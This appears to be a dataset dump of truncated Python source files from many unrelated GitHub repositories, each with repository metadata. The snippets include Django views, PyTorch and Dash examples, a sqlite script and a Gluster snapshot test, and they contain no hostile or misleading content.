# Copyright 2019 Benny Megidish # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agre...
[ "bennymegk@gmail.com" ]
bennymegk@gmail.com
b3cb85f8e762425f2b99a69cc6f22debaafbd7aa
c4cbbe0823eec6d14d42922d4ef5a0046ca582df
/Product/urls.py
4abcc9fac07f161a52795e87ff54d6f0144ab3c4
[]
no_license
shakil102030/RestApiProject
36cffeaaee9cff1ce7fe049639ff8ef28ba6ae11
50a5516907422eb3e6885668ad558e635d942f54
refs/heads/main
2023-07-04T18:05:51.450512
2021-08-23T13:25:37
2021-08-23T13:26:38
399,112,571
0
0
null
null
null
null
UTF-8
Python
false
false
501
py
from rest_framework import routers from django.urls import path, include from . import views router = routers.DefaultRouter() #router.register(r'', views.CategoryViewSet) urlpatterns = [ #path('categorygf', include(router.urls)) path("categories", views.CategoryListAPIView.as_view()), path("Food", view...
[ "shakilahmmed165@gmail.com" ]
shakilahmmed165@gmail.com
c86c98ae72815124b24d3ae32ec5d6a1d90a7dca
324d9bc6747873173cf457d563665f59005c0efc
/apps/users/views.py
ff8c38e6a8d915aa28bdd5f5db1eb3e22a995a8c
[]
no_license
jzxyouok/movie-1
fd220618ce8c03bc3dc33d5b39a81547097653b2
650c05389aaefb84544d2246bf8436bed7157547
refs/heads/master
2020-06-03T16:00:01.479269
2018-05-30T09:22:43
2018-05-30T09:22:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,829
py
from django.http import HttpResponse, HttpResponseRedirect from django.shortcuts import render from django.urls import reverse from django.contrib import messages from django.contrib.auth.mixins import LoginRequiredMixin from django.contrib.auth import authenticate, login, logout from django.contrib.auth.hashers import...
[ "18778335525@163.com" ]
18778335525@163.com
acba31f7ed54309ed5f26550cbdff2ef54d18d26
37b9a6558e61a5a4ebe49b55a68bd3c9785b1f52
/accounts/signals.py
ed79c66f34a9ce087898e65cf72dfaf450abb75c
[]
no_license
reemsamir1999/DjangoRest-Lab-ITI
5d493bbb671319975d4303863507fd3d8800bf74
1f6dfd95682eca4ff1ba0cc633c278dc6d3ece08
refs/heads/main
2023-08-26T05:47:44.046912
2021-11-13T17:08:30
2021-11-13T17:08:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
365
py
from django.db.models import signals from django.dispatch import receiver from django.contrib.auth.models import User from rest_framework.authtoken.models import Token from django.db.models.signals import post_save @receiver(post_save, sender=User) def user_created(sender, instance, created, **kwargs): if created...
[ "reemsamir521999@gmail.com" ]
reemsamir521999@gmail.com
4b3999bceb135ae43088f2acd45fd813a32aa724
330899fd4a9653e05e2a09e0a4f30c119af97ad4
/python/hidet/tos/modules/nn.py
3d1c65c10d426d6b2298130ea875a54bbf014694
[ "Apache-2.0" ]
permissive
yaoyaoding/hidet-artifacts
f8a4707c7fc28aa7bfa4dab3a9f2a9387c020f99
f2e9767bb2464bd0592a8ec0b276f97481f13df2
refs/heads/main
2023-04-30T13:12:57.350002
2023-04-24T19:37:34
2023-04-24T19:37:34
551,692,225
3
1
Apache-2.0
2022-11-01T23:25:17
2022-10-14T22:40:28
Python
UTF-8
Python
false
false
5,063
py
from typing import Optional, Union, List import math from hidet.tos import ops from hidet.tos.common import normalize from hidet.tos.module import Module, Tensor from hidet.tos.tensor import randn, zeros, ones from hidet.tos.modules.container import Sequential, ModuleList class Conv2d(Module): def __init__(self, ...
[ "dingyaoyao.cs@gmail.com" ]
dingyaoyao.cs@gmail.com
5ee1c1836ae680d8569f59bc57ec21d2b1998ea4
e9163cb33f6cd1a898884bd2c6144c28a8c156bd
/sql/sqli.py
94e77ae81f79bd73fee2cd170b459ebe39cc1c71
[]
no_license
SimoCi/RealPython2
73d5bea10a2021d161a8699a303fb8fcad59a486
ddf0ea2e689bb73a171aafc7cfa9d47702846b09
refs/heads/master
2021-01-02T08:10:05.082573
2014-11-05T14:05:24
2014-11-05T14:05:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
693
py
import sqlite3 with sqlite3.connect("new.db") as conn: crs = conn.cursor() cities = [ ('Boston', 'MA', 600000), ('Los Angeles', 'CA', 38000000), ('Houston', 'TX', 2100000), ('Philadelphia', 'PA', 1500000), ('San Antonio', 'TX', 1400000), ('San Diego', 'CA', 130000), ('Dallas', 'TX', 1200000...
[ "simonecidesk@gmail.com" ]
simonecidesk@gmail.com
eca4f2b0434e257082837eb9629ff0e723bcea9f
6c05ce7733b3c6839a0d650d1168233650b4dc6f
/PythonLibrary/spline_inverse/InterpolateCurve.py
c2a0b3eae0b82a133a45341e9c149dd7016d9f87
[]
no_license
jessdtate/FwdInvToolkit
7efb0836ecaaf5327023b94a78bb3ca5584b390e
861824224c30882f7bf56d1abe0717621c0dafa9
refs/heads/master
2021-01-15T17:46:05.957770
2017-09-15T16:51:35
2017-09-15T16:51:35
38,811,038
1
0
null
2017-09-15T07:35:50
2015-07-09T09:21:56
Matlab
UTF-8
Python
false
false
3,171
py
# -*- coding: utf-8 -*- """ Created on Wed Jul 20 09:45:02 2016 @author: andrewcorbato """ def InterpolateCurve(CurveParameters,InterpolationDensity,varargin): # author: Burak Erem # input: varargin should be a list import numpy as np # check type of varargin if type(varargin) != type([]): ...
[ "noreply@github.com" ]
jessdtate.noreply@github.com
794362f36d7dd92514eab05c05e9543d1f388498
22dcb4b838b4d9b30db2c294600e509dd9399685
/0511/abridgement_practice.py
b16b3abbc93ec8fd0b99c1035b2089718db8b2ce
[]
no_license
KuboIroha/PythonPractice
0a761776adf319a8fa08ea88f07efcca9c09bc16
406fa7b5dc1730974e783aaba19d37f632995cf7
refs/heads/master
2023-05-01T03:35:37.317227
2021-05-23T08:38:03
2021-05-23T08:38:03
366,095,855
0
0
null
null
null
null
UTF-8
Python
false
false
182
py
#coding UTF-8 x=10 print(x) #たしざん x += 10 print(x) #ひきざん x -= 10 print(x) #掛け算 x *= 10 print(x) #わりざん x /= 10 print(x) #あまり x %= 10 print(x)
[ "bjik1290502@gn.iwasaki.ac.jp" ]
bjik1290502@gn.iwasaki.ac.jp
a3b7d2043d073baae61c82a62a7baf513e5463d4
117aaf186609e48230bff9f4f4e96546d3484963
/others/FilterTable/main.py
c18d99d897d4e53baba8675c35fbb4fd3a1f0667
[ "MIT" ]
permissive
eyllanesc/stackoverflow
8d1c4b075e578496ea8deecbb78ef0e08bcc092e
db738fbe10e8573b324d1f86e9add314f02c884d
refs/heads/master
2022-08-19T22:23:34.697232
2022-08-10T20:59:17
2022-08-10T20:59:17
76,124,222
355
433
MIT
2022-08-10T20:59:18
2016-12-10T16:29:34
C++
UTF-8
Python
false
false
1,326
py
import csv import sys from PyQt4 import QtGui from PyQt4 import uic from PyQt4.QtCore import QString from PyQt4.QtGui import QTableWidgetItem filter_class = uic.loadUiType("filter.ui")[0] class Filter_window(QtGui.QWidget, filter_class): def __init__(self, parent=None, *args, **kwargs): QtGui.QMainWindo...
[ "e.yllanescucho@gmail.com" ]
e.yllanescucho@gmail.com
240e6d72e883cd5d44adc7bc87f9e6646c36762c
aa0270b351402e421631ebc8b51e528448302fab
/sdk/paloaltonetworks/azure-mgmt-paloaltonetworksngfw/generated_samples/post_rules_delete_minimum_set_gen.py
37e8eb6f0bb63131b561033cfb6c8b88a6e137ab
[ "MIT", "LGPL-2.1-or-later", "LicenseRef-scancode-generic-cla" ]
permissive
fangchen0601/azure-sdk-for-python
d04a22109d0ff8ff209c82e4154b7169b6cb2e53
c2e11d6682e368b2f062e714490d2de42e1fed36
refs/heads/master
2023-05-11T16:53:26.317418
2023-05-04T20:02:16
2023-05-04T20:02:16
300,440,803
0
0
MIT
2020-10-16T18:45:29
2020-10-01T22:27:56
null
UTF-8
Python
false
false
1,613
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "noreply@github.com" ]
fangchen0601.noreply@github.com
9a05bb883ba068c5b2d77669562c68b4b2037e4b
9d2d6b29662ee32dfaef72504cc85981f29b5fca
/volat.py
6fe5fee87019a4ae22e903cdb5163b91378e111a
[]
no_license
jingmouren/Volatility-Prediction
63e9ed1705e23330a34e3bb4bf5091b1f680cff2
36d1dd79ffa8f2af6baed12f81b6003c58aea4c4
refs/heads/main
2023-08-26T06:51:43.204776
2021-10-31T17:01:51
2021-10-31T17:01:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
12,592
py
# The function below takes the file name corresponding to a stock and returns the stock_id def stock_id(name): import re i = re.search(r'\d+', name).group(0) i = int(i) return i # The function below takes the path of a folder containing stock files and returns a list of the contained file paths # sort...
[ "noreply@github.com" ]
jingmouren.noreply@github.com
61036e432e537abc60826c8d95716e236963ba2d
5a02333b618fa23883e3dd31829a11c6e0395a6a
/engine/views (copy).py
a56007b0d61e2ce1665afba06188bdc22f34d9e0
[]
no_license
Trizalio/BaseProject
c3fa97f213cd4db69c2837cf88c47dedc81fa551
05035c89363119918f95433c8defa982de509015
refs/heads/master
2020-04-06T04:30:39.007815
2014-09-05T15:45:26
2014-09-05T15:45:26
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,265
py
from django.shortcuts import render_to_response, get_object_or_404 from django.contrib.auth.models import User from django.http import HttpResponseRedirect, HttpResponse import datetime from django.contrib.auth.forms import UserCreationForm from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger from d...
[ "gifla@ya.ru" ]
gifla@ya.ru
5d54d6dc6544b926996fb5332cc815d1578decd3
fca1056e9df9fbf13e92379f8f329cda27faa3ce
/DRAF/DRAF/wsgi.py
b1a3338daf964956f6d942d419a65c94e9ba48c4
[]
no_license
SolderingKnowledge/Rest-API
5fc1adf1fb5006e02c7e508bf7ea909bfb74159a
a5bbb47c15dda5d78c515a68fab58ff87f37dbca
refs/heads/master
2020-03-25T17:18:24.738941
2019-06-20T23:54:41
2019-06-20T23:54:41
143,972,369
0
1
null
null
null
null
UTF-8
Python
false
false
385
py
""" WSGI config for DRAF project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SETTINGS...
[ "noreply@github.com" ]
SolderingKnowledge.noreply@github.com
e9e780c6a50efbd1bc3f389464d332f7649b4dec
7780fe9c17110df4cde526f2f32b48739b46d801
/tests/utils_test.py
a76cee2c3223ae7873aaa13dbc4a87bed82ef738
[]
no_license
rduivenvoorde/xytools
59c2d38a2994a63964219a951838611bab180265
1a8184409efb6eb7074f38b6d4f0623e01afaed0
refs/heads/master
2020-12-15T02:45:50.027364
2016-10-02T15:55:15
2016-10-02T15:55:15
7,837,390
4
3
null
2016-09-25T10:11:39
2013-01-26T12:23:46
Python
UTF-8
Python
false
false
756
py
''' Created on 13/12/2013 @author: victorzinho ''' import unittest import utils from qgis.core import QGis from mock import Mock class Test(unittest.TestCase): def testGetFieldNames(self): originalNames = ['ID', 'NAME'] field0 = self._mockField(originalNames[0]) field1 = self._mockField(...
[ "victor.gonzalez@geomati.co" ]
victor.gonzalez@geomati.co
cbe5f43ddfbfbe7b436a28d4810339b2291dcf95
c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c
/cases/synthetic/coverage-big-1706.py
e71fa3edcf5b892e227597f755678d3066f64bc5
[]
no_license
Virtlink/ccbench-chocopy
c3f7f6af6349aff6503196f727ef89f210a1eac8
c7efae43bf32696ee2b2ee781bdfe4f7730dec3f
refs/heads/main
2023-04-07T15:07:12.464038
2022-02-03T15:42:39
2022-02-03T15:42:39
451,969,776
0
0
null
null
null
null
UTF-8
Python
false
false
13,349
py
count:int = 0 count2:int = 0 count3:int = 0 count4:int = 0 count5:int = 0 def foo(s: str) -> int: return len(s) def foo2(s: str, s2: str) -> int: return len(s) def foo3(s: str, s2: str, s3: str) -> int: return len(s) def foo4(s: str, s2: str, s3: str, s4: str) -> int: return len(s) def foo5(s: str,...
[ "647530+Virtlink@users.noreply.github.com" ]
647530+Virtlink@users.noreply.github.com
0eafa771e434cc47da07d9832275df08bc7e0215
ccd27037d13c0288aae5d94e616c659ce2a713a0
/donor/migrations/0001_initial.py
b2964b3233b6f9785178e02fc623f4e664a5e3c9
[]
no_license
AniketShahane/ZeroDay-01
99ce4dad366b778851518a07a34ab9d100246ed5
2a12c6965fdbc9c1f1db3d2f207861a7ddcb62e8
refs/heads/master
2020-04-21T11:14:03.077996
2019-02-11T13:21:31
2019-02-11T13:21:31
169,516,547
0
0
null
null
null
null
UTF-8
Python
false
false
1,907
py
# Generated by Django 2.1.5 on 2019-02-06 08:07 import datetime from django.db import migrations, models import django.db.models.deletion from django.utils.timezone import utc class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( ...
[ "shahaneaniket11@gmail.com" ]
shahaneaniket11@gmail.com
467e02fac1ee0a2d0adf38f1a86fe51efd1d8f05
49e09da220cbfa3304b79dc2c3ae59dbc3b0f50c
/tests/functional/snapshot/test_snap_self_heal.py
10f8a531a8ce6edf00ef90f299ea932e2a6714fb
[]
no_license
hellohaihai/glusto-tests
8e9ef796b5d95cd30dd619606ca07101f91bc8af
c04c4a6507df415f1a337c79e357f26fa93e5308
refs/heads/master
2020-05-26T07:11:19.615145
2019-05-10T07:33:52
2019-05-10T07:33:52
null
0
0
null
null
null
null
UTF-8
Python
false
false
13,417
py
# Copyright (C) 2017-2018 Red Hat, Inc. <http://www.redhat.com> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # any later version. # # This program...
[ "vavuthu@redhat.com" ]
vavuthu@redhat.com
51f98ecf9694b803c8e5a2691359a7e9a09e42c7
87f265520bec8db1a9c039a0860b6b824de40192
/chapter_1/days_since_birth_udacity_simple.py
3ece89083ead2fc6cc8afbf6276b21843f8d0194
[]
no_license
vladcipariu91/DSA-Problems
78b4edf467cc6565a6b4afdcb0356a28771a6319
edd77b49e176cc0d7426b168f0fbc7b39d9fe10e
refs/heads/master
2020-07-25T10:58:09.416339
2019-12-03T11:35:42
2019-12-03T11:35:42
208,266,039
0
0
null
null
null
null
UTF-8
Python
false
false
3,185
py
months = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] def daysBetweenDates(year1, month1, day1, year2, month2, day2): """ Calculates the number of days between two dates. """ assert not isBefore(year2, month2, day2, year1, month1, day1) days = 0 while isBefore(year...
[ "vladcipariu@gmail.com" ]
vladcipariu@gmail.com
8b6a6763701c9c14489d228ec1dc94576dead621
7aca3c9447a56169dbc4cc5c547db2fee5b14dc6
/sorted.py
255791790dd2adc12bea7946ff5ce5cebcb2f5f0
[]
no_license
oksanatsuverkalova/PythonProjects
b211afb887e4202b78d977b4964e74dce95ba117
d5e552449dfa19471f136c214c84a7a08e9a4d69
refs/heads/main
2023-07-11T18:58:28.954678
2021-06-16T20:19:11
2021-06-16T20:19:11
331,691,241
0
1
null
2021-08-29T16:54:45
2021-01-21T16:46:31
Python
UTF-8
Python
false
false
119
py
numbers = [345, 465, 43, 1, 12, 214, 67, 4213, 2, 34, 77] print(sorted(numbers)) print(sorted(numbers, reverse=True))
[ "noreply@github.com" ]
oksanatsuverkalova.noreply@github.com
75b317be1d1147754f7a1ef628a29805477c59a2
a3b9ce8aa33c7ab62e7754edd11c63f84071ab68
/blog/urls.py
0728b5ae04ee9a2ea230944a08ba171e94a39eb3
[]
no_license
dillipsingh99/simpleisbetter
b69bd48ef4e972832e30022bfdcc9138d2c05273
daa08df121e7f77d5fae5ff2a8ec54d66dc5e7fe
refs/heads/master
2023-08-14T00:20:50.098773
2021-10-09T13:16:11
2021-10-09T13:16:11
415,249,556
1
0
null
null
null
null
UTF-8
Python
false
false
480
py
from django.urls import path from .views import ( blog_home, blog_detail, BlogCreateView, BlogUpdateView, BlogDeleteView, ) urlpatterns = [ path('', blog_home, name='blog_home'), path('<int:pk>/', blog_detail, name='blog_detail'), path('create/', BlogCreateView.as_view(), name='blog_cre...
[ "dk381759@gmail.com" ]
dk381759@gmail.com
305f691a749f474d814151a9c76c20b19583e32a
1892e82be0786c806b26feeefff5d8f646794a8d
/app/seeds/bookings.py
6329f41315e0ca372a0151ab6d0ccef7fca5119a
[]
no_license
akuemperSFDC/staybnb
a498af72af7c6821893bd702a5dc7094b17ce2e1
d400892b939fba42111ded44671072b40234b6ae
refs/heads/main
2023-07-24T16:47:20.423041
2021-09-03T19:19:11
2021-09-03T19:19:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
918
py
from app.models import db, Booking import datetime def seed_bookings(): booking1 = Booking(listing_id=1, user_id=1, number_of_guests=1, start_date=datetime.datetime(2021, 8, 2).isoformat(), end_date=datetime.datetime(2021, 8, 6).isoformat()) booking2 = Booking(listing_id=2, user_id=1, number_of_guests=2, sta...
[ "78562233+AKuemper@users.noreply.github.com" ]
78562233+AKuemper@users.noreply.github.com
4358c2ac0fce94cc9e60ee2222342c74169e8fed
b6f85dbed341fc33eba142e878096217a70b141f
/src/sce/model/factory_allow_labels.py
f302855667cf953e0757e00b9125ebe2edb14999
[]
no_license
genimarca/senti_cross_embeddings
8a08c5854ebcfa63b566a7f6538e65a64fe73e1b
435467b5362c301ec2e9b6a015aadcfd0ee3f797
refs/heads/master
2020-03-22T23:50:30.193464
2019-07-26T12:27:46
2019-07-26T12:27:46
140,831,055
1
0
null
null
null
null
UTF-8
Python
false
false
781
py
#!/usr/bin/python3 # *-* coding:utf-8 *-* ''' Created on 20 jul. 2018 @author: Eugenio Martínez Cámara ''' from sce.model.allow_labels_names import AllowLabelsNames class FactoryAllowLabels: ''' classdocs ''' @classmethod def creator(cls, allow_labels_name_key): cl = None if all...
[ "genimarca@gmail.com" ]
genimarca@gmail.com
35034f6869f1b6b1f67c3c7e44d3ecd2dc7d11bb
ade88dc242e2e32a2a44d593f454657da4612dd8
/CropAndSwap.py
17ecf7942c62a6c736f9bff793085df9eed92bac
[]
no_license
sudeeproxx/Summer_Task4
e879f9e9050e49bfb0b9eb4ab21ff4b20dd27db6
fd7ed0c623e2c7e0715a6cc99fafc34effe023a1
refs/heads/main
2023-05-26T23:09:04.605622
2021-06-10T08:01:52
2021-06-10T08:01:52
375,614,689
0
0
null
null
null
null
UTF-8
Python
false
false
446
py
import cv2 import numpy image_1=cv2.imread("image1.jpg") image_1.shape crop1= image_1[48:129,102:183] image_2=cv2.imread("image2.jpg") image_2.shape crop2= image_2[51:132,97:178] swap1=image_1 swap2=image_2 #Now swap the cropped parts #swap1[48:129,102:183]= crop2 #cv2.imshow("AfterSwap1",swap1) #cv2.waitKey(...
[ "noreply@github.com" ]
sudeeproxx.noreply@github.com
a67b54086452c10f1e12e07bfbdab64f99c5c8ee
7eab0c659bb033dd8e44764884c905df5c1c7962
/case/setjymima.py
41186c06ef52eb1d68fe4b1293834fca138d03ae
[]
no_license
pengqiuli/app-python
63fd210f2dae04163d51b41ff0a21abde13d4cde
af9f64a80368f79c0292f69a1cdcfba4f5fbb8df
refs/heads/master
2023-02-19T01:45:43.201350
2021-01-20T07:18:06
2021-01-20T07:18:06
324,941,522
0
0
null
null
null
null
UTF-8
Python
false
false
2,657
py
# -*-coding:utf-8-*- from base.activity import * from time import sleep import unittest class test(unittest.TestCase): @classmethod def setUpClass(cls): # 启动app cls.driver = desired_caps() sleep(4) cls.driver = jinrushouye(cls.driver) cls.driver = mainpage(cls.driver) ...
[ "1151853956@qq.com" ]
1151853956@qq.com
f8f7e6aff74349c59cce9401e12149fb28ed8f8b
208bc8b87cb20fc6e57c8c8846cbe947b2eec1f3
/pyocd/coresight/cortex_m_v8m.py
ca01e71819f240e6e35497dc4209539e8afd50ac
[ "Apache-2.0", "CC-BY-4.0" ]
permissive
canerbulduk/pyOCD
28c545f25ef9b2949a1cd49c00faeeda986a26fe
a61e8b8dc2050309510d9fe7ca63680aafe06749
refs/heads/main
2023-08-24T21:10:52.427697
2021-11-09T15:13:48
2021-11-09T15:13:48
426,275,463
0
0
Apache-2.0
2021-11-09T15:08:22
2021-11-09T15:08:21
null
UTF-8
Python
false
false
7,538
py
# pyOCD debugger # Copyright (c) 2019-2020 Arm Limited # Copyright (c) 2021 Chris Reed # SPDX-License-Identifier: Apache-2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www...
[ "flit@me.com" ]
flit@me.com
9ecf378f5d3e1aa424496b98922212a95c491601
68eb8913b251e711ba146097b08fde79fe6dc66f
/hier/views.py
510353afa579c80ac36f7defd9dbbdc3115374ad
[]
no_license
youhyun97/invisible_Beta
76003c6be1e753731d5e1f0809830be4f551395f
896e707894efd9d5a1cbf8e9d8c614863ac000ab
refs/heads/master
2020-06-29T22:08:21.212238
2019-08-05T10:54:31
2019-08-05T10:54:31
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,010
py
from django.shortcuts import render, get_object_or_404, redirect from invi_app.models import Lecture, Lecturefeature, Feature, Lectureteacher ################################## def home(request): lecture = Lecture.objects.extra(tables=['lectureFeature'], where=['lectureFeature.lecture_id=lecture.lecture_id AND l...
[ "HyeyoungCho97@gmail.com" ]
HyeyoungCho97@gmail.com
964be754ef86bec5917a57c625ad4ed6a31349f8
dcafbc9a6eea2b0e9aabc527b93cd97d270a67af
/tests/test_cli.py
1cc1282f4575e65d72cfcb43033f27022e631d72
[ "MIT" ]
permissive
bfontaine/edt2ics
83fbd51540d7887e049be90efb70f382110dafaf
1245f174694c30a42c489d831970c32ae42c0b0d
refs/heads/master
2021-05-15T01:55:46.595212
2015-01-05T11:31:48
2015-01-05T11:31:48
24,652,011
1
0
MIT
2021-03-23T09:20:53
2014-09-30T19:18:04
Python
UTF-8
Python
false
false
1,722
py
# -*- coding: UTF-8 -*- import sys from tempfile import NamedTemporaryFile from os import remove try: import unittest2 as unittest from cStringIO import StringIO except ImportError: from io import StringIO import unittest from edt2ics.cli import write_ical, main, ScheduleScraper def ctrlC(self, *arg...
[ "batifon@yahoo.fr" ]
batifon@yahoo.fr
4344d7b0f4c19f27896dd13ab0f65e65e0e64627
7f523c407d45d116860eff67f079e807f2b53339
/src/third_party/beaengine/tests/0f46.py
6ad6b5dec2522c38575bfec34ef1d56a52f05929
[ "LGPL-3.0-only", "LGPL-2.0-or-later", "MIT" ]
permissive
0vercl0k/rp
a352c96bfe3715eb9ce8c5942831123e65289dac
b24e7f58a594aaf0ce3771745bf06862f6ecc074
refs/heads/master
2023-08-30T08:03:14.842828
2023-08-09T00:41:00
2023-08-09T00:41:00
3,554,173
1,557
239
MIT
2023-08-09T00:41:02
2012-02-26T19:26:33
C++
UTF-8
Python
false
false
2,862
py
#!/usr/bin/python # -*- coding: utf-8 -*- # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This progra...
[ "noreply@github.com" ]
0vercl0k.noreply@github.com
8fbc353c04181575bc228c0842bd83b67d15cd1f
1213345f1424ff4c0d08d61dde54670ee158099e
/Lektion5/Projekt/data_analyse_oevelse_1.py
da8423e65ef44a5f99090c0a5ba870954e1e63d9
[]
no_license
victorduun/ITMAL
62faf07555fb37add9c2f8d7bd7da6af103d6ff5
4e50d507f90e8719adad128ee4ba27b6539f4908
refs/heads/master
2023-01-31T07:42:43.622706
2020-12-11T11:54:41
2020-12-11T11:54:41
292,845,615
0
0
null
null
null
null
UTF-8
Python
false
false
220
py
import matplotlib.pyplot as plt from data_help import data_loader data = data_loader.load_housing_data() labels = data_loader.load_housing_labels() median_income = data[:,7] plt.hist(median_income, 30) plt.show()
[ "43340964+victorduun@users.noreply.github.com" ]
43340964+victorduun@users.noreply.github.com
f5c8c797de9a291d4cadce9ee6ba97aafa3cb8dd
6545040ba6bf07cdd104e1482dabdec0965f9ac7
/S12/tensornet/data/__init__.py
e2a15219734f5f2bef567518d43095e50fcdf001
[]
no_license
rvk007/EVA4
785394ecbc41a7ecadee44f8ba8a41464762332a
d0c99802a9a2a501c74b8503a3552838d3ce8b27
refs/heads/master
2022-08-12T18:22:21.691073
2021-10-13T05:27:52
2021-10-13T05:27:52
239,499,002
1
3
null
2022-06-22T01:42:08
2020-02-10T11:46:50
Jupyter Notebook
UTF-8
Python
false
false
50
py
from .datasets import CIFAR10, MNIST, TinyImageNet
[ "rksharma19896@gmail.com" ]
rksharma19896@gmail.com
e5e42b8c0aac6428f96b5147ff8e835c3a03c930
49390a33a654b3dc4d44fcae6fa3755878f3d6b9
/qklnn/plots/quickslicer_dummy_net.py
f1aa155c2fe9cdab853d3edbd42769cd290a17bc
[ "MIT" ]
permissive
cambouvy/BSc-Thesis-Project
4b792d1ded3b3df02fb08694ca4c27cbed2f59ef
ca2504cb828ab068545e130eac393ceb34f2a457
refs/heads/main
2023-08-05T08:01:52.156776
2021-09-23T20:51:35
2021-09-23T20:51:35
409,731,196
1
0
null
null
null
null
UTF-8
Python
false
false
2,443
py
""" quickslicer Neural Network specification This file should be importable from the quickslicer and define three things: nns: A dictionary-like object containing the neural networks. Each network should have some basic attributes, a full description is outside the scope, but if its a QuaLiKi...
[ "noreply@github.com" ]
cambouvy.noreply@github.com
b3e4b05edc296bd9ee9a63e53dc7385f87c7318f
8e6b8bf00313350eee305d34eea692cd3c05f2e0
/No11.py
18dccdb76b59f27b8ad66afd10481392524b7d8f
[]
no_license
gatakaba/project_euler
316b3da9d1a5f6bbf5793fbedcdf15401aa4eba1
e600bc8beaee3dbf72c0bdbef0e324c382236582
refs/heads/master
2021-01-20T18:24:44.799035
2016-08-01T08:52:07
2016-08-01T08:52:07
64,651,506
0
0
null
null
null
null
UTF-8
Python
false
false
3,446
py
# coding:utf-8 """ In the 20×20 grid below, four numbers along a diagonal line have been marked in red. 08 02 22 97 38 15 00 40 00 75 04 05 07 78 52 12 50 77 91 08 49 49 99 40 17 81 18 57 60 87 17 40 98 43 69 48 04 56 62 00 81 49 31 73 55 79 14 29 93 71 40 67 53 88 30 03 49 13 36 65 52 70 95 23 04 60 11 42 69 24 6...
[ "m07112@gmail.com" ]
m07112@gmail.com
b6c2ce08804c66b293ae4e13ba70f17d93dcfbed
5465ed0ea2401a8e70d4bbc0ce1e78ca26813c54
/Dash/example_dropdown.py
432c0e12326a232ef545016451102df8cf8aca00
[]
no_license
josephchenhk/learn
36c49ceb7c8cf8f944ad401b2c7adabf688981a1
b216bb17570e272555e9da475e4c85eb18139c2a
refs/heads/master
2023-09-01T04:22:00.984837
2023-08-20T01:00:01
2023-08-20T01:00:01
178,778,957
0
0
null
null
null
null
UTF-8
Python
false
false
635
py
# -*- coding: utf-8 -*- # @Time : 29/3/2021 3:41 PM # @Author : Joseph Chen # @Email : josephchenhk@gmail.com # @FileName: example_dropdown.py # @Software: PyCharm import dash import dash_html_components as html import dash_core_components as dcc app = dash.Dash(__name__) app.layout = html.Div( [ h...
[ "josephchenhk@gmail.com" ]
josephchenhk@gmail.com
783560f6030d496ca56583f01bdacc4cd5a3355f
c45da2c867db1872df2e2a6603bdf7026fd5fb15
/models_S/matching.py
06f1ac9de41f4d1029b1999d12f908ca908bc579
[]
no_license
LexaNagiBator228/Fast-Feature-Matching-with-Linear-Transformers
42dcb72207f5a43302e69b948592c53f993fc86c
f0ce2ade189a11ab5d9284cbc6a698de93ec5b61
refs/heads/main
2023-06-15T15:19:41.130039
2021-07-13T13:55:00
2021-07-13T13:55:00
384,940,145
13
1
null
null
null
null
UTF-8
Python
false
false
3,998
py
# %BANNER_BEGIN% # --------------------------------------------------------------------- # %COPYRIGHT_BEGIN% # # Magic Leap, Inc. ("COMPANY") CONFIDENTIAL # # Unpublished Copyright (c) 2020 # Magic Leap, Inc., All Rights Reserved. # # NOTICE: All information contained herein is, and remains the property # of COMPAN...
[ "doctorthenord@gmail.com" ]
doctorthenord@gmail.com
044f8d28a47038da7b2ce3e832b4c7b7fe81e91d
0cb29aebd2db7c9109ea5f88c1f955ea94bdb629
/CountingWords.py
ad86961a33be6aa58a3245e51291486dfe2b39b1
[]
no_license
VIJAYZARGO/c97
58f405184a998a6ebb80882b926b17eb574827d2
16d33876b874f740f3f4ae2d30539879def1f338
refs/heads/main
2023-05-05T13:35:55.216179
2021-05-27T10:24:21
2021-05-27T10:24:21
371,333,176
0
0
null
null
null
null
UTF-8
Python
false
false
353
py
Intro = input("Enter your Introduction : ") WordCount = 1 CharacterCount = 0 for Character in Intro: CharacterCount = CharacterCount + 1 if(Character ==' '): wordCount = WordCount + 1 print("Number of words in the string : ") print(wordCount) print("Number of Characters in the S...
[ "noreply@github.com" ]
VIJAYZARGO.noreply@github.com
fb766b2ce7d1f7d85c3afa516ea547ba10ff3c26
923d446c5068e24e7ba94c3ffc9d2628334d7620
/software/software/urls.py
638318c82644ca212da0ffec7ea0e572681d0c54
[]
no_license
FncAriel/GestordeArchivos
bd18bd80bf9dab2649769728be446ed6e459aacc
9da8e5722d81f250bf399ef9b08c8031696ac44f
refs/heads/master
2020-06-10T04:36:14.063014
2019-08-16T22:25:03
2019-08-16T22:25:03
null
0
0
null
null
null
null
UTF-8
Python
false
false
824
py
"""software URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Cl...
[ "noreply@github.com" ]
FncAriel.noreply@github.com
c52183b9689e7f5b9605278ebd70320785d7081f
1b56e3902b66fe138483d5e4d08bdb04d3d7572c
/AMDB/settings.py
f41c5e5b1455c1322b5b1f5052fa4ec037679546
[]
no_license
Sanskar-Jain/AMDB
